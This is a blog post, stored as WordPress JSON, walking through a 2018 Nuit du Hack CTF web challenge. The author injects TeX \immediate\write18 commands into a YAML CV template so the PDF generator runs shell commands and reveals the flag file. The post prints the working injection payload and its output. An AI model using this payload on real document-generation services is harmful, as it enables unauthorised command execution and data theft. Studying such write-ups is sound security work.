{"id":2374,"date":"2018-04-01T12:44:57","date_gmt":"2018-04-01T10:44:57","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=2374"},"modified":"2018-04-01T17:49:31","modified_gmt":"2018-04-01T15:49:31","slug":"ctf-ndh-2018-quals-write-up-web-linked-out","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/ctf-ndh-2018-quals-write-up-web-linked-out\/","title":{"rendered":"[CTF NDH 2018 Quals] Write-Up \u2013 Web : Linked Out"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong>Write-up of the challenge \u201cWeb \u2013 Linked Out\u201d of Nuit du\u00a0Hack 2018 CTF qualifications.<\/strong><\/p>\n<p>The weekend of 03\/31\/2018 is pre-qualification for the <strong><a href=\"https:\/\/nuitduhack.com\/fr\/\" target=\"_blank\" rel=\"noopener\">Nuit du Hack 2018<\/a><\/strong>\u00a0as a <strong>Jeopardy CTF<\/strong>. Having had the opportunity and the time to participate with some colleagues and friends, here\u2019s a write-up resolution of the challenges which we could participate.<\/p>\n<ul>\n<li>Category: <strong>Web<\/strong><\/li>\n<li>Name: <strong>Linked Out<\/strong><\/li>\n<li>Description : <em>This service build an awesome curriculum vitae for you ! Test it, recruiters will enjoy it ! The developper of this chall too \ud83d\ude09<\/em><\/li>\n<li>URL :\u00a0http:\/\/linkedout.challs.malice.fr\/<\/li>\n<li>Points : <strong>300<\/strong><\/li>\n<\/ul>\n<p>This web challenge allow to upload a <a href=\"https:\/\/en.wikipedia.org\/wiki\/YAML\" target=\"_blank\" rel=\"noopener\">YAML<\/a> curriculum vitae <a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/template_curriculum_vitae_generator.zip\" target=\"_blank\" rel=\"noopener\">template<\/a>. The main idea is to inject some TeX vectors in this template to execute arbitrary commande on the file system and get the result in the generated CV as PDF.<\/p>\n<p>When we go to the URL, the service is displayed:<\/p>\n<div id=\"attachment_2375\" style=\"width: 252px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut05.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2375\" class=\"size-medium wp-image-2375\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut05-242x300.png\" alt=\"Service LinkedOut\" width=\"242\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut05-242x300.png 242w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut05.png 753w\" sizes=\"auto, (max-width: 242px) 100vw, 242px\" \/><\/a><p id=\"caption-attachment-2375\" class=\"wp-caption-text\">Service LinkedOut<\/p><\/div>\n<p>We can download a YAML predefined template of CV and send our modified version to produce a PDF:<\/p>\n<div id=\"attachment_2376\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut06.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2376\" class=\"size-medium wp-image-2376\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut06-300x145.png\" alt=\"T\u00e9l\u00e9chargement du template YAML et upload\" width=\"300\" height=\"145\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut06-300x145.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut06-768x371.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut06-1024x494.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut06.png 1140w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2376\" class=\"wp-caption-text\">T\u00e9l\u00e9chargement du template YAML et upload<\/p><\/div>\n<p>The main target is to inject some TeX instructions into the YAML template, to update CV data. Focus on the &#8220;postal address&#8221; (wide string field on several line in the output PDF), we can use the &#8220;\\immediate&#8221; and &#8220;\\write18&#8221; TeX instruction to execute shell command.<\/p>\n<blockquote><p>Both\u00a0\\immediate\u00a0and\u00a0\\write\u00a0are TeX primitives. The\u00a0\\write\u00a0operation is used to write to a file stream. Like many other things in TeX, file streams are accessed by number (although usually real files are given symbolic names to make life easier). Stream 18 is &#8216;special&#8217; as it is not a file at all: instead, it is a way of sending commands to the operating system (shell).<\/p><\/blockquote>\n<p>The &#8220;address&#8221; value from the YAML template to the output PDF can be rewrite with these instructions. A shell command is executed, the result encoded in base64 and stored in a local file (avoiding special chars). Then, the content of this local file is put in the &#8220;address&#8221; field :<\/p>\n<pre>cv:\r\n personal_informations:\r\n firstname: Bruce\r\n lastname: Schneier\r\n address: 221b Baker Street, London, ENGLAND}\\address{\\immediate\\write18{ls \/|base64 &gt; toto}\\input{toto}\r\n position: Security Expert ; Master of Internet\r\n\r\n[...]<\/pre>\n<p>The output of &#8220;ls \/&#8221; is encoded in base64 and the content of &#8220;toto&#8221; file (&#8220;\\input{toto}&#8221;) is read and put into\u00a0&#8220;\\address&#8221; in the PDF.<\/p>\n<div id=\"attachment_2377\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut03.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2377\" class=\"size-medium wp-image-2377\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut03-300x146.png\" alt=\"ls \/\" width=\"300\" height=\"146\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut03-300x146.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut03-768x374.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut03-1024x499.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut03.png 1772w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2377\" class=\"wp-caption-text\">ls \/<\/p><\/div>\n<p>Output PDF file :<\/p>\n<div id=\"attachment_2378\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut04.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2378\" class=\"size-medium wp-image-2378\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut04-300x152.png\" alt=\"PDF du CV g\u00e9n\u00e9r\u00e9 pour ls \/\" width=\"300\" height=\"152\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut04-300x152.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut04-768x388.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut04-1024x518.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut04.png 1673w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2378\" class=\"wp-caption-text\">PDF du CV g\u00e9n\u00e9r\u00e9 pour ls \/<\/p><\/div>\n<p>Decoding the base64 string :<\/p>\n<pre>bin\r\nboot\r\ndev\r\nentrypoint.sh\r\netc\r\nflag\r\nhome\r\nlib\r\nlib64\r\nmedia\r\nmnt\r\nopt\r\nproc\r\nroot\r\nrun\r\nsbin\r\nsrv\r\nsupervisord.log\r\nsupervisord.pid\r\nsys\r\ntmp\r\nusr\r\nvar<\/pre>\n<p>The &#8220;\/flag&#8221; file is interesting, get it :<\/p>\n<div id=\"attachment_2379\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut02.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2379\" class=\"size-medium wp-image-2379\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut02-300x157.png\" alt=\"Cat \/flag\" width=\"300\" height=\"157\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut02-300x157.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut02-768x402.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut02-1024x536.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut02.png 1759w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2379\" class=\"wp-caption-text\">Cat \/flag<\/p><\/div>\n<p>Corresponding PDF file :<\/p>\n<div id=\"attachment_2380\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut01.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2380\" class=\"size-medium wp-image-2380\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut01-300x160.png\" alt=\"Cat \/flag en PDF\" width=\"300\" height=\"160\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut01-300x160.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut01-768x409.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut01-1024x546.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/LinkedOut01.png 1616w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2380\" class=\"wp-caption-text\">Cat \/flag en PDF<\/p><\/div>\n<p>Base64 decode :<\/p>\n<pre>TkRIe0FuZF9Eb25hbGRfS251dGhfY3JlYXRlZF90aGVfaVRlWH0K\r\n\r\nFlag :\u00a0NDH{And_Donald_Knuth_created_the_iTeX}<\/pre>\n<p>Greeting to the whole team ! \ud83d\ude42<\/p>\n<p><strong>Sources &amp; resources :<\/strong><\/p>\n<ul>\n<li><a href=\"https:\/\/0day.work\/hacking-with-latex\/\" target=\"_blank\" rel=\"noopener\">Hacking with LaTeX<\/a><\/li>\n<li><a href=\"https:\/\/tex.stackexchange.com\/questions\/20444\/what-are-immediate-write18-and-how-does-one-use-them\/20566#20566\" target=\"_blank\" rel=\"noopener\">Stackexchange thread<\/a><\/li>\n<li><a href=\"https:\/\/tipi-hack.github.io\/2018\/04\/01\/quals-NDH-18-linked-out.html\" target=\"_blank\" rel=\"noopener\">Other Tipi-hack write-up<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Write-up of the challenge \u201cWeb \u2013 Linked Out\u201d of Nuit du\u00a0Hack 2018 CTF qualifications. The weekend of 03\/31\/2018 is pre-qualification [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1963,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[524,523,526,531,516,14],"tags":[],"class_list":["post-2374","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-events","category-ndh","category-ndh2k18","category-rce","category-vuln-exploit-poc"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2374","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=2374"}],"version-history":[{"count":11,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2374\/revisions"}],"predecessor-version":[{"id":2455,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2374\/revisions\/2455"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1963"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=2374"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=2374"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=2374"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}